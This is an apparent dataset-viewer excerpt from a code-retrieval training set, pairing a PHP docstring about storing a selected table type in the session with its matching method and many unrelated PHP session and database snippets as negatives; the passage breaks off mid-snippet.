query
stringlengths
7
5.25k
document
stringlengths
15
1.06M
metadata
dict
negatives
sequencelengths
3
101
negative_scores
sequencelengths
3
101
document_score
stringlengths
3
10
document_rank
stringclasses
102 values
Handler for storing selected table type into sessions.
public function handleStoreTable($table) { $session = $this->session->getSection('map'); $session->table = $table; $this->terminate(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function onSessiontypesAdd()\n\t{\n\t\t$this->onTaskAdd();\n\t}", "public function getSessionType();", "public function setTypeSession($value){\n\t\t\t$this->typeSession = $value;\n\t\t}", "public function storeSessionData() {}", "public function storeSessionData() {}", "public function setType($type)\r\n\t{\r\n\t\t// Check the type\r\n\t\t$type = strtolower($type);\r\n\t\tif(!in_array($type, $this->allowed_types))\r\n\t\t{\r\n\t\t\t$type = 'varchar'; // default to varchar\r\n\t\t}\r\n\t\t\r\n\t\t$name \t\t= 'tienda';\r\n\t\t$eav_suffix = 'eavvalues';\r\n\t\t$this->type = $type;\r\n\t\t\r\n\t\t// Set the correct suffix\r\n\t\t$this->set( '_suffix', $eav_suffix.$type );\r\n\t\t$tbl_name = \"#__{$name}_{$eav_suffix}{$type}\";\r\n\t\t$this->_tbl = $tbl_name;\r\n\t\t\r\n\t\t// Now set the properties!\r\n\t\t$this->setTableProperties();\r\n\t\t\r\n\t\t// Table Type defined: Activate the table\r\n\t\t$this->active = true;\r\n\t}", "private function _setTableName($caseValue) {\n try {\n switch ($caseValue) {\n case 1 :\n $this->tbl = 'tbl_admin_type';\n $this->tblKey = 'iAdminTypeID';\n $this->tblStatusKey = 'eStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = '';\n $this->fUploadFolder = '';\n $this->pageStateName = 'app.permission.type';\n\n $this->delMSG = ADMINTYPE_DEL_SUCC;\n $this->insMSG = ADMINTYPE_INS_SUCC;\n $this->updtMSG = ADMINTYPE_UPDT_SUCC;\n break;\n\n case 2 :\n $this->tbl = 'tbl_user';\n $this->tblKey = 'iUserID';\n $this->tblValidateKey = 'vEmail';\n $this->tblMD5Key = 'vPassword';\n $this->tblDateKey = 'tCreatedAt';\n $this->fUploadFolder = 'user';\n $this->tblStatusKey = 'eStatus';\n $this->pageStateName = 'app.user.list';\n\n /*\n * FOR A MAIL...\n */\n $this->mailRequire = TRUE;\n $this->mailID = 'vEmail';\n $this->mailSubject = PROJ_TITLE . ' Register User';\n //$this->mailTemplate = VIEW_DIR_EMAIL . 'user/register.php';\n $this->mailTemplate = 'registeruser';\n\n $this->delMSG = USER_DEL_SUCC;\n $this->insMSG = USER_INS_SUCC;\n $this->updtMSG = USER_UPDT_SUCC;\n $this->validateMSG = USER_EMAIL_EXISTS;\n break;\n\n case 3 :\n $this->tbl = 'tbl_page_module';\n $this->tblKey = 'iPageModuleID';\n $this->tblStatusKey = 'eStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = '';\n $this->fUploadFolder = '';\n $this->pageStateName = 'app.modules.list';\n\n $this->delMSG = ADMIN_MOD_DEL_SUCC;\n $this->insMSG = ADMIN_MOD_INS_SUCC;\n $this->updtMSG = ADMIN_MOD_UPDT_SUCC;\n break;\n\n case 4 :\n $this->tbl = 'tbl_page';\n $this->tblKey = 'iPageID';\n $this->tblStatusKey = 'eStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = '';\n $this->fUploadFolder = '';\n $this->pageStateName = 'app.pages.list';\n\n $this->delMSG = ADMIN_PAGE_DEL_SUCC;\n $this->insMSG = ADMIN_PAGE_INS_SUCC;\n $this->updtMSG = ADMIN_PAGE_UPDT_SUCC;\n break;\n\n case 5 :\n $this->tbl = 'tbl_email_templates';\n $this->tblKey = 'iEmailTemplateID';\n $this->tblStatusKey = 'eStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = 'tCreatedAt';\n $this->fUploadFolder = '';\n $this->pageStateName = 'template.email.list';\n\n $this->delMSG = EMAIL_TMPLT_DEL_SUCC;\n $this->insMSG = EMAIL_TMPLT_INS_SUCC;\n $this->updtMSG = EMAIL_TMPLT_UPDT_SUCC;\n break;\n\n case 6 :\n $this->tbl = 'tbl_gallery';\n $this->tblKey = 'iGalleryID';\n $this->fUploadKey = 'vImageName';\n $this->tblStatusKey = 'eStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = 'tCreatedAt';\n $this->fUploadFolder = 'gallery';\n $this->pageStateName = 'app.gallery.list';\n\n $this->delMSG = GALLERY_IMAGE_DEL_SUCC;\n $this->insMSG = GALLERY_IMAGE_INS_SUCC;\n $this->updtMSG = GALLERY_IMAGE_UPDT_SUCC;\n break;\n \n case 7 :\n $this->tbl = 'db_category';\n $this->tblKey = 'iCategoryID';\n $this->fUploadKey = 'vCategoryIcon';\n $this->tblStatusKey = 'eCategoryStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = 'dtCategoryDate';\n $this->fUploadFolder = 'Category';\n $this->pageStateName = 'app.category.list';\n\n $this->delMSG = CATEGORY_DEL_SUCC;\n $this->insMSG = CATEGORY_INS_SUCC;\n $this->updtMSG = CATEGORY_UPDT_SUCC;\n break;\n \n case 8 :\n $this->tbl = 'db_retailer';\n $this->tblKey = 'iRetailerID';\n $this->fUploadKey = 'vRetailerLogo';\n $this->tblStatusKey = 'eRetailerStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = 'dtDate';\n $this->fUploadFolder = 'Retailer';\n $this->pageStateName = 'app.retailer.list';\n\n $this->delMSG = RETAILER_DEL_SUCC;\n $this->insMSG = RETAILER_INS_SUCC;\n $this->updtMSG = RETAILER_UPDT_SUCC;\n break;\n \n case 9 :\n $this->tbl = 'db_banner';\n $this->tblKey = 'iBannerID';\n $this->fUploadKey = 'vBannerIcon';\n $this->tblStatusKey = 'eStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = 'dtDate';\n $this->fUploadFolder = 'Banner';\n $this->pageStateName = 'app.banner.list';\n\n $this->delMSG = BANNER_DEL_SUCC;\n $this->insMSG = BANNER_INS_SUCC;\n $this->updtMSG = BANNER_UPDT_SUCC;\n break;\n \n case 10 :\n $this->tbl = 'db_weekly_ads';\n // $this->tblKey = 'iAdsImagesID';\n $this->tblKey = 'iAdsID';\n $this->fUploadKey = 'vAdsImages';\n $this->tblStatusKey = 'eStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = 'tCreatedAt';\n $this->fUploadFolder = 'Weekly';\n $this->pageStateName = 'app.weeklyads.list';\n\n $this->delMSG = WEEKLY_DEL_SUCC;\n $this->insMSG = WEEKLY_INS_SUCC;\n $this->updtMSG = WEEKLY_UPDT_SUCC;\n break;\n \n case 11 :\n $this->tbl = 'db_catalog';\n // $this->tblKey = 'iAdsImagesID';\n $this->tblKey = 'iCatalogID';\n $this->fUploadKey = 'vCatalogImages';\n $this->tblStatusKey = 'eStatus';\n $this->tblMD5Key = '';\n $this->tblDateKey = 'tCreatedAt';\n $this->fUploadFolder = 'Weekly';\n $this->pageStateName = 'app.catalog.list';\n\n $this->delMSG = CATALOG_DEL_SUCC;\n $this->insMSG = CATALOG_INS_SUCC;\n $this->updtMSG = CATALOG_UPDT_SUCC;\n break;\n \n }\n } catch (Exception $ex) {\n throw new Exception('Crud Model : Error in _setTableName function - ' . $ex);\n }\n }", "protected function _CreateExportSession()\n\t{\n\t\t$query = \"create table [|PREFIX|]export_session (\n\t\t\ttype varchar(20) not null default '',\n\t\t\tmodule varchar(30) not null default '',\n\t\t\tlog varchar(30) not null default '',\n\t\t\tdata text not null\n\t\t)\";\n\t\t$GLOBALS['ISC_CLASS_DB']->Query($query);\n\n\t\t$query = \"insert into [|PREFIX|]export_session (type,data) values ('primary', '')\";\n\t\t$GLOBALS['ISC_CLASS_DB']->Query($query);\n\t\t$this->_exportSession = array();\n\t}", "public function storeSession() {}", "public static function sessionWriteHandler();", "protected function _saveToSession()\n {\n $this->sessionData['_options'] = $this->_options;\n $this->sessionData['_selectedIndex'] = $this->_selectedIndex;\n $this->sessionData['safeMode'] = $this->safeMode;\n }", "public function save_transaction_type()\n\t{\n\t\t $data=(array)json_decode(file_get_contents(\"php://input\"));\n\t \t $data['landlord_id']=$this->checklogin();\n\t \t $query=$this->ApiModel->insertData('transactions_type',$data);\n\t \t $logData=array('audit_date'=>Date('Y-m-d'),'audit_statement'=>'Insert','role'=>'Landlord','actions'=>'Landlord Added Transaction Type ','userID'=>$data['landlord_id'],'progress_id'=> $data['landlord_id']);\n\t\t $this->ApiModel->insert_Data('audit_log',$logData);\n\t \t echo json_encode($query);\n\t}", "public static function setAsSessionHandler()\n {\n session_set_save_handler(array('Eb_MemcacheSession', 'sessionOpen'),\n array('Eb_MemcacheSession', 'sessionClose'),\n array('Eb_MemcacheSession', 'sessionRead'),\n array('Eb_MemcacheSession', 'sessionWrite'),\n array('Eb_MemcacheSession', 'sessionDestroyer'),\n array('Eb_MemcacheSession', 'sessionGc'));\n }", "private function store()\n {\n $this->session->set('sergsxm_form_'.$this->formId, $this->parameters);\n }", "public function saveType()\n {\n }", "public function type_handler() {\r\n\t\t\r\n\t\t\t$this->next_step();\r\n\t\r\n\t}", "public function setSaveHandler()\n {\n function open($savePath, $sessionName){ // open\n }\n function close(){ // close\n }\n function read($sessionId){ // read\n return $this->get($sessionId);\n }\n function write($sessionId, $data){ // write\n return $this->set($sessionId, $data);\n }\n function destroy($sessionId){ // destroy\n $this->delete($sessionId);\n }\n function gc($lifetime) { // gc\n }\n session_set_save_handler(\"open\", \"close\",\"read\",\"write\",\"destroy\",\"gc\");\n }", "public function storeDataInSession() {\n\t\t$_SESSION['Order__id'] = $this->insertedOrderId;\n\t\t$_SESSION['transactionAmount'] = $this->totalPrice;\n\t}", "public function insertOrderTable($type)\n {\n $this->last_id++;\n $time = time();\n if ($type == 'sell') {\n $type = 'sell';\n $vendor_id = 0;\n $this->row = $sqlSellOrderType = \"INSERT INTO pish_hikashop_order (order_user_id, order_status, order_id, order_created, order_modified, order_vendor_id)\" .\n \" VALUES($this->hika_user_id, '\" . $type . \"', $this->last_id, $time, $time,$vendor_id)\";\n $rows = $this->conn->query($sqlSellOrderType);\n\n // if($rows->num_rows>0){\n\n // }else{\n\n // }\n }\n\n if ($type == 'subsell') {\n $type = 'subsell';\n\n $vendor_id = 0;\n $this->row = $sqlSellOrderType = \"INSERT INTO pish_hikashop_order (order_user_id, order_status, order_id, order_created, order_modified, order_vendor_id)\" .\n \" VALUES($this->hika_user_id, '\" . $type . \"', $this->last_id, $time, $time,0)\";\n $rows = $this->conn->query($sqlSellOrderType);\n }\n }", "function saveSession() {}", "public function save()\n\t{\n\t\tif($this->beforeSave())\n\t\t{\n\t\t\tif(is_array($this->value))\n\t\t\t{\n\t\t\t\tforeach($this->value as $key=>$session)\n\t\t\t\t{\n\t\t\t\t\t$_SESSION[$key] = $session;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(is_string($this->value) and is_string($this->name))\n\t\t\t{\n\t\t\t\t$_SESSION[$this->name] = $this->value;\n\t\t\t}\n\t\t\t$this->afterSave();\n\t\t}\n\t}", "private function save_to_session()\n {\n if (strtolower($_SESSION['country_name']) !== strtolower($this->country_name)) {\n $_SESSION['country_name'] = $this->country_name;\n $_SESSION['country_code'] = $this->country_code;\n }\n if (strtolower($_SESSION['region_name']) !== strtolower($this->region_name)) {\n $_SESSION['region_name'] = $this->region_name;\n $_SESSION['region_code'] = $this->region_code;\n }\n\n }", "public function run()\n {\n \t DB::table('user_types')->insert([\n 'user_type_name' => 'customer'\n ]);\n\n\n DB::table('user_types')->insert([\n 'user_type_name' => 'store_manager'\n ]);\n\n DB::table('user_types')->insert([\n 'user_type_name' => 'admin'\n ]);\n }", "function SaveSession() {\n $q = \"INSERT INTO `\" . TblSysSession . \"` SET\n `user_type`='\" . $this->user_type . \"',\n `user_id`='\" . $this->user_id . \"',\n `login`='\" . $this->login . \"',\n `email`='\" . $this->email . \"',\n `time`='\" . $this->logintime . \"',\n `session_id`='\" . $this->session_id . \"',\n `ip`='\" . $this->ip . \"',\n `ip2`='\" . $this->ip2 . \"',\n `user_hash`='\" . $this->user_hash . \"'\n \";\n $this->db->db_Query($q);\n //echo '<br> $q='.$q.' $this->db->result='.$this->db->result;\n if (!$this->db->result)\n return false;\n return true;\n }", "public function store()\n {\n $this->preStoreActions($this->data);\n\n //check all the fields\n $this->validate();\n\n //save to the database\n $this->save();\n\n //do broadcast\n //$this->broadcastUpdate(\"Updated Menu for - \".Str::limit($this->accountName,50));\n\n //tidy up\n $this->afterStore($this->data['id'] ?? '');\n\n //run a user specific method IF installed and needed after save\n $this->afterStoreActions($this->data);\n }", "public function storeRecord(&$record)\n {\n $atkstoretype = '';\n $sessionmanager = SessionManager::getInstance();\n if ($sessionmanager) {\n $atkstoretype = $sessionmanager->stackVar('atkstore');\n }\n switch ($atkstoretype) {\n case 'session':\n return $this->storeRecordInSession($record);\n default:\n return $this->storeRecordInDb($record);\n }\n }", "public function storeObject(){\n return storeSessionDB($this->sessionTime, $this->numberOfParticipants, $this->sessionDate, $this->sessionName);\n /*\n $query = \"\n INSERT INTO session (session_start_time, session_size, session_date, session_name)\n VALUES (?, ?, ?, ?);\n \";\n $stmt = $conn->prepare($query);\n $stmt->bindValue(1, $this->sessionTime);\n $stmt->bindValue(2, $this->numberOfParticipants);\n $stmt->bindValue(3, $this->sessionDate);\n $stmt->bindValue(4, $this->sessionName);\n if($stmt->execute()){\n echo \"<script> alert('\". $this->getSessionName() .\"') </script>\";\n return true;\n } else {\n echo \"<script> alert('Database Error') </script>\";\n return false;\n }\n */\n\n }", "public function setNewMimetypesTable($table)\n {\n if(is_string($table)) {\n $this->_newMimetypesTable = new $table();\n } elseif($table instanceof Zend_Db_Table_Abstract) {\n $this->_newMimetypesTable = $table;\n } else {\n throw new Exception('Not a valid table gateway for New Mimetypes Model');\n }\n }", "public function save_cart($table){\n\t\t\t//Asigna el carrito a la mesa correspondiente\n\t\t\t$_SESSION[$table] = $_SESSION['cart'];\n\n\t\t}", "function UpdateSessionUserType($user_type = NULL) {\n if (!empty($user_type))\n $this->user_type = $user_type;\n $q = \"UPDATE `\" . TblSysSession . \"` SET `user_type`='\" . $this->user_type . \"' WHERE `login`='\" . $this->login . \"'\";\n $this->db->db_Query($q);\n //echo '<br> $q='.$q.' $this->db->result='.$this->db->result;\n if (!$this->db->result)\n return false;\n return true;\n }", "private function _setSessionxxxx()\n {\n $this->_session = new Class_Session();\n\n if (!$this->_session instanceof Class_Session_Abstract) {\n require_once 'Class/User/SessionException.php';\n throw new Class_User_Exception('Invalid table data gateway provided');\n }\n }", "private function setupSQLStatement() {\r\n\r\n $tabella_sessioni = $this->db_name.\".\".$this->table_name_session;\r\n $tabella_variabili = $this->db_name.\".\".$this->table_name_variable;\r\n /*** SQL statement: count SID ***/\r\n $this->SQLStatement_CountSid = $this->connessione->prepare(\"SELECT count(*) FROM \".$tabella_sessioni.\" WHERE \".$this->table_column_sid.\" = :sid\");\r\n\r\n /*** SQL statement: Insert Session ***/\r\n $this->SQLStatement_InsertSession = $this->connessione->prepare(\"INSERT INTO \".$tabella_sessioni.\"(\".$this->table_column_sid.\",\".$this->table_column_exp.\",\".$this->table_column_fexp.\",\".$this->table_column_ua.\") VALUES (:sid,:expires,:forcedExpires,:ua)\");\r\n\r\n /*** SQL statement: Update Session Expires ***/\r\n $this->SQLStatement_UpdateSessionExpires = $this->connessione->prepare(\"UPDATE \".$tabella_sessioni.\" SET \".$this->table_column_exp.\" = :expires WHERE \".$this->table_column_sid.\" = :sid\");\r\n\r\n /*** SQL statement: Get Session Infos ***/\r\n $this->SQLStatement_GetSessionInfos = $this->connessione->prepare(\"SELECT * FROM \".$tabella_sessioni.\" WHERE \".$this->table_column_sid.\" = :sid\");\r\n\r\n /*** SQL statement: Get Session Vars ***/\r\n $this->SQLStatement_GetSessionVars = $this->connessione->prepare(\"SELECT \".$this->table_column_value.\" as value, \".$this->table_column_name.\" as name FROM \".$tabella_variabili.\" WHERE \".$this->table_column_sid.\" = :sid\");\r\n \r\n /*** SQL statement: Get Encrypted Session Vars ***/\r\n $this->SQLStatement_GetEncryptedSessionVars = $this->connessione->prepare(\"SELECT AES_DECRYPT(\".$this->table_column_value.\",'\".$this->encrypt_key.\"') as value,AES_DECRYPT(\".$this->table_column_name.\",'\".$this->encrypt_key.\"') as name FROM \".$tabella_variabili.\" WHERE \".$this->table_column_sid.\" = :sid\");\r\n\r\n /*** SQL statement: Delete Session Vars ***/\r\n $this->SQLStatement_DeleteSessionVars = $this->connessione->prepare(\"DELETE FROM \".$tabella_variabili.\" WHERE \".$this->table_column_sid.\" = :sid AND \".$this->table_column_name.\"= :name \");\r\n\r\n /*** SQL statement: Delete Encrypted Session Vars ***/\r\n $this->SQLStatement_DeleteEncryptedSessionVars = $this->connessione->prepare(\"DELETE FROM \".$tabella_variabili.\" WHERE \".$this->table_column_sid.\" = :sid AND \".$this->table_column_name.\"= AES_ENCRYPT(:name,'\".$this->encrypt_key.\"') \");\r\n\r\n /*** SQL statement: Insert Session Vars ***/\r\n $this->SQLStatement_InsertSessionVars = $this->connessione->prepare(\"INSERT INTO \".$tabella_variabili.\"(\".$this->table_column_sid.\",\".$this->table_column_name.\",\".$this->table_column_value.\") VALUE(:sid,:name,:value)\");\r\n\r\n /*** SQL statement: Insert Encrypted Session Vars ***/\r\n $this->SQLStatement_InsertEncryptedSessionVars = $this->connessione->prepare(\"INSERT INTO \".$tabella_variabili.\"(\".$this->table_column_sid.\",\".$this->table_column_name.\",\".$this->table_column_value.\") VALUE(:sid,AES_ENCRYPT(:name,'\".$this->encrypt_key.\"'),AES_ENCRYPT(:value,'\".$this->encrypt_key.\"'))\");\r\n\r\n /*** SQL statement: Delete Session ***/\r\n $this->SQLStatement_DeleteSession = $this->connessione->prepare(\"DELETE FROM \".$tabella_sessioni.\" WHERE \".$this->table_column_sid.\" = :sid \");\r\n\r\n /*** SQL statement: Delete Expired Session ***/\r\n $this->SQLStatement_DeleteExpiredSession = $this->connessione->prepare(\"DELETE FROM \".$tabella_sessioni.\" WHERE \".$this->table_column_fexp.\" < :time \");\r\n\r\n }", "function protoinsertar(){\r\n\t\t\t\t$aux=$this->consultarAct();\r\n\t\t \t$_SESSION['act'] = $aux;\r\n\r\n\r\n\t\t}", "public static function setSessionHandler () {\n \n // use memcache if available\n $handler = conf::getMainIni('session_handler');\n if ($handler == 'memcache'){\n $host = conf::getMainIni('memcache_host');\n if (!$host) {\n $host = 'localhost';\n }\n $port = conf::getMainIni('memcache_port');\n if (!$port) {\n $port = '11211';\n }\n $query = conf::getMainIni('memcache_query');\n if (!$query) {\n $query = 'persistent=0&weight=2&timeout=2&retry_interval=10';\n }\n $session_save_path = \"tcp://$host:$port?$query, ,tcp://$host:$port \";\n ini_set('session.save_handler', 'memcache');\n ini_set('session.save_path', $session_save_path);\n }\n }", "public function save()\n {\n array_push($this->table, $this->value);\n }", "private function saveSession() {\n $connection = \\Drupal::database();\n $select = $connection->select('conreg_payment_sessions', 'S');\n $select->addField('S', 'paysessionid');\n $select->condition('S.payid', $this->payId);\n $select->condition('S.session_id', $this->sessionId);\n // We only want to save if not already on table.\n if (empty($select->execute()->fetchField())) {\n $connection->insert('conreg_payment_sessions')->fields(['payid' => $this->payId, 'session_id' => $this->sessionId])->execute();\n }\n}", "function saveToSession() {\n\t\t// Unset sessions since this info is elsewhere in the database\n\t\tunset($this->_questions);\n\t\ttx_wecassessment_sessiondata::storeSessionData($this, $this->getPID());\n\t}", "function setQuizSession($player, $quiz_id, $type)\n{\n clearQuizSession();\n\n $_SESSION[\"player\"] = $player;\n $_SESSION[\"quiz_id\"] = $quiz_id;\n $_SESSION[\"type\"] = $type;\n\n}", "public function run()\n {\n DB::table('ltusertype')->insert([\n \t'usertype_name' => 'Administrator'\n \t]);\n\n DB::table('ltusertype')->insert([\n \t'usertype_name' => 'Member'\n \t]);\n\n DB::table('ltusertype')->insert([\n \t'usertype_name' => 'Make Up Artist'\n \t]);\n }", "abstract public function setDAO($type);", "public function store(Request $request)\n {\n \n table_schedule_type::create(Request::all());\n return redirect('admin/schedule-type')->with('success', 'Data saved successfully!');\n }", "function storeSessionData($sessionData, $pid) {\n\t\t$GLOBALS['TSFE']->fe_user->setKey('ses', 'tx_wecassessment_pi1:' . $pid, $sessionData);\n\t\t$GLOBALS['TSFE']->fe_user->sesData_change = true;\n\t\t$GLOBALS['TSFE']->fe_user->storeSessionData();\t\t\n\t}", "public function store()\n\t{\n $sistema_id=Session::get('tenant_id');\n $sistema=Sistema::findOrFail($sistema_id);\n $data=$this->request->all();\n if((Input::get('tablet_id')==\"\")||($data['idUnicoTablet']!=\"\")) {\n $rules = array(\n 'idUnicoTablet' => 'required|unique:tablets,idUnicoTablet',\n 'description' => 'required'\n );\n $this->validate($this->request, $rules);\n $tablet=new Tablet($data);\n $tablet->save();\n $tablet_id=$tablet->id;\n $sistema->tablets()->attach($tablet_id);\n }else{\n $sistema->tablets()->sync(Input::get('tablet_id'));\n }\n\n\n\n\n\n return \\Redirect::route('admin.tablets.index');\n\t}", "function install_form_process()\n\t{\n\t\t//-----------------------------------------\n\t\t// When processed, return all vars to save\n\t\t// in conf_global in the array $this->info_extra\n\t\t// This will also be saved into $INFO[] for\n\t\t// the installer\n\t\t//-----------------------------------------\n\t\t\n\t\tif ( ! $_REQUEST['mysql_tbl_type'] )\n\t\t{\n\t\t\t$this->errors[] = 'You must complete the required SQL section!';\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t$this->info_extra['mysql_tbl_type'] = $_REQUEST['mysql_tbl_type'];\n\t}", "public function getInputTable($type);", "public function store(TypeStoreRequest $request)\n {\n types::create([\n 'type_id' => $request->type_id,\n 'type_name' => $request->type_name,\n ]);\n return redirect()->route('types.index')->with('message','Type Added Successfully');\n }", "protected function store()\n\t{\n\t\t// rebuild the keys table\n\t\t$this->reindex();\n\t\t//---------------------\n\t\t// Your code goes here\n\t\t// --------------------\n\t}", "function addUserToSession($user_id = 0, $type=1){\n\tsession_start();\n\t$_SESSION['userid'] = $user_id;\n\t$_SESSION['type'] = $type;\n}", "protected function filterStore()\n\t{\n\t\tif ($this->arParams[\"SAVE_IN_SESSION\"] == \"Y\" && strlen($_REQUEST[\"filter\"]))\n\t\t{\n\t\t\t$_SESSION[\"spo_filter_id\"] = $_REQUEST[\"filter_id\"];\n\t\t\t$_SESSION[\"spo_filter_date_from\"] = $_REQUEST[\"filter_date_from\"];\n\t\t\t$_SESSION[\"spo_filter_date_to\"] = $_REQUEST[\"filter_date_to\"];\n\t\t\t$_SESSION[\"spo_filter_status\"] = $_REQUEST[\"filter_status\"];\n\t\t\t$_SESSION[\"spo_filter_payed\"] = $_REQUEST[\"filter_payed\"];\n\t\t\t$_SESSION[\"spo_filter_history\"] = $_REQUEST[\"filter_history\"];\n\t\t}\n\t}", "function selectDBType()\n\t{\n\t\t$this->checkDisplayMode(\"create_new_client\");\n\n\nif (true)\n{\n\t\t$this->initDBSelectionForm();\n\t\t$this->tpl->setVariable(\"SETUP_CONTENT\", $this->form->getHTML());\n}\nelse\n{\n\t\t// output\n\n\t\t$this->tpl->addBlockFile(\"SETUP_CONTENT\",\"setup_content\",\"tpl.clientsetup_select_db.html\", \"setup\");\n\n\t\t$this->tpl->setVariable(\"FORMACTION\", \"setup.php?cmd=gateway\");\n\t\t$this->tpl->setVariable(\"TXT_SAVE\", $this->lng->txt(\"save\"));\n\n\t\t$this->tpl->setVariable(\"TXT_DB_TYPE\", $this->lng->txt(\"db_type\"));\n\t\t$this->tpl->setVariable(\"TXT_DB_SELECTION\", $this->lng->txt(\"db_selection\"));\n}\n\t\tif ($this->setup->getClient()->status[\"ini\"][\"status\"])\n\t\t{\n\t\t\t$this->setButtonNext(\"db\");\n\t\t}\n\n\t\t$this->checkPanelMode();\n\t}", "public function run()\n {\n DB::table('types')->insert(array(\n array('name'=>'Whole Sale','is_active'=>1),\n array('name'=>'Retail','is_active'=>1),\n array('name'=>'Wholesale and Retail','is_active'=>1),\n ));\n }", "function HTTP_SessionServer_SaveHandler_write($id, $sess_data)\n{\n $GLOBALS['__session']->put($GLOBALS['__sessionName'], $sess_data);\n return true;\n}", "public function store() {\n\t\t$_SESSION['puserauth'] = serialize($this);\n\t}", "private function store()\n {\n $db = DataAccess::getInstance();\n switch ($this->type) {\n case self::BOOL:\n case self::SCALAR:\n case self::PICKABLE:\n $columns = \"value_scalar\";\n $values = \"?\";\n if ($this->isLeveled()) {\n $data = array($this->value['id']);\n } else {\n $data = array($this->value);\n }\n break;\n case self::RANGE:\n case self::DATE_RANGE:\n $columns = \"value_range_low, value_range_high\";\n $values = \"?,?\";\n $data = array($this->value['low'], $this->value['high']);\n break;\n default:\n //not a defined type\n return false;\n break;\n }\n $session = geoSession::getInstance()->initSession();\n $sql = \"REPLACE INTO \" . geoTables::browsing_filters . \" (session_id, target, category, $columns) VALUES ('$session','{$this->target}','\" . self::getActiveCategory() . \"', $values)\";\n $db->Execute($sql, $data);\n }", "function createSession($userEmailAddress,$userType){\n $_SESSION['userEmailAddress'] = $userEmailAddress;\n $_SESSION['userType']=$userType;\n}", "function store_in_session($sessionKey,$dataKey,$data) {\n //@todo - error if $data is NULL \n if(isset($_SESSION[$sessionKey]) && !empty($_SESSION[$sessionKey])) {\n // This key is defined in session, fetch the data structure for\n // this session key\n\n $sessionData = $_SESSION[$sessionKey];\n //index $form is populated\n $sessionData[$dataKey] = $data ;\n //push back in\n $_SESSION[$sessionKey] = $sessionData ;\n\n\n } else {\n //No session data stored for sessionKey\n $sessionData = array();\n $sessionData[$dataKey] = $data ;\n //store in session\n $_SESSION[$sessionKey] = $sessionData ;\n\n }\n\n }", "public function store(Request $request, ClassType $classType)\n {\n //\n }", "public function run()\n {\n\n \tDB::table('user_types')->insert(['user_type' => 'пользователь']);\n //\n }", "protected function setTable()\n {\n $class = explode('\\\\', get_called_class());\n $this->table = lcfirst(end($class)).'s';\n }", "protected function _UpdateExportSession()\n\t{\n\t\t$exportSession = serialize($this->_exportSession);\n\t\t$query = sprintf(\"update [|PREFIX|]export_session set data='%s' where type='primary'\", $GLOBALS['ISC_CLASS_DB']->Quote($exportSession));\n\t\t$GLOBALS['ISC_CLASS_DB']->Query($query);\n\t}", "public function store(AuditTypeRequest $request)\n\t{\n\t\t$auditType = new AuditType;\n $auditType->name = $request->name;\n $auditType->description = $request->description;\n $auditType->user_id = Auth::user()->id;\n\t}", "abstract public function setTableName();", "function store() {\r\n global $mainframe, $db, $user;\r\n $post = $_POST;\r\n\r\n $arr_team_table = Request::getVar('arr_team_table',null);\r\n $arr_team_table = json_decode($arr_team_table, true);\r\n \r\n $model = Tournament::getInstance();\r\n global $user;\r\n if (!$user->isSuperAdmin()) {\r\n YiiMessage::raseNotice(\"Your account not have permission to change Tournament\");\r\n $this->redirect(Router::buildLink(\"gamesport\", array('view'=>'tournament')));\r\n }\r\n\r\n $tourID = Request::getVar('tourID',0);\r\n $db = Yii::app()->db;\r\n \r\n foreach($arr_team_table as $table_num => $team_tables){\r\n if(count($team_tables)){\r\n $stt = 1;\r\n foreach($team_tables as $teamID => $team){\r\n if($team == null) continue;\r\n if($team['ordering'] == null OR $team['ordering'] == 0){\r\n $team['ordering'] = $stt;\r\n }\r\n $query = \"UPDATE \" . TBL_GS_TEAM_REGISTER_TOUR \r\n . \" SET table_num = $table_num\"\r\n . \" ,ordering = \". $team['ordering']\r\n . \" ,mdate = now()\"\r\n . \" ,modified_by = $user->id\"\r\n . \" WHERE tourID = $tourID AND teamID = $teamID\"\r\n ;\r\n $command = $db->createCommand($query);\r\n \r\n $command->execute();\r\n $stt++;\r\n }\r\n }\r\n }\r\n \r\n return true;\r\n }", "public function store(TypeFormRequest $request)\n {\n $types = new Type();\n $types->typename = $request->get('typename');\n $mess = \"\";\n if($types->save())\n {\n $mess = (\"Thêm Thành Công\");\n }\n $types = Type::all();\n \n return view('admin.type', compact('types'))->with(('mess'), $mess);\n }", "public function run()\n {\n DB::table('files_type')->insert([\n ['type' => 'policies'],\n ['type' => 'minutes'],\n ['type' => 'attendance'],\n ['type' => 'others'],\n ]);\n }", "public function setQueryType(?string $value): void {\n $this->getBackingStore()->set('queryType', $value);\n }", "public function set_table_vars() {\n\t\tglobal $wpdb;\n\n\t\t$this->table = $wpdb->prefix . self::TABLE_NAME;\n\t\t$this->ms_table = $wpdb->base_prefix . self::MS_TABLE_NAME;\n\n\t\t/* Register the snippet table names with WordPress */\n\t\t$wpdb->snippets = $this->table;\n\t\t$wpdb->ms_snippets = $this->ms_table;\n\n\t\t$wpdb->tables[] = self::TABLE_NAME;\n\t\t$wpdb->ms_global_tables[] = self::MS_TABLE_NAME;\n\t}", "private function dbinit() {\n\t\tCheck::identifier( $this->table_sessions );\n\t\tCheck::identifier( $this->table_tokens );\n\n\t\t$change = 0;\n\t\tif ( ! gad( db_get_tables_meta( $this->db ), $this->table_tokens ) )\n\t\t{\n\t\t\t$this->trace( \"creating $this->table_tokens\" );\n\t\t\t$this->db->exec( \"\n\t\t\t\tCREATE TABLE IF NOT EXISTS $this->table_tokens(\n\t\t\t\t\trealm\t\tvarchar(32) not null,\n\t\t\t\t\ttoken\t\tvarchar(128) not null,\n\t\t\t\t\tkey\t\t\tvarchar(64) not null,\n\t\t\t\t\tsecret\tvarchar(64) not null,\n\t\t\t\t\tcreated\ttimestamptz not null default NOW(),\n\t\t\t\t\tPRIMARY KEY ( realm, token, key )\n\t\t\t\t)\n\t\t\t\" );\n\t\t\t$change++;\n\t\t}\n\n\t\tif ( ! gad( db_get_tables_meta( $this->db ), $this->table_sessions ) )\n\t\t{\n\t\t\t$this->db->exec( \"\n\t\t\t\tCREATE TABLE IF NOT 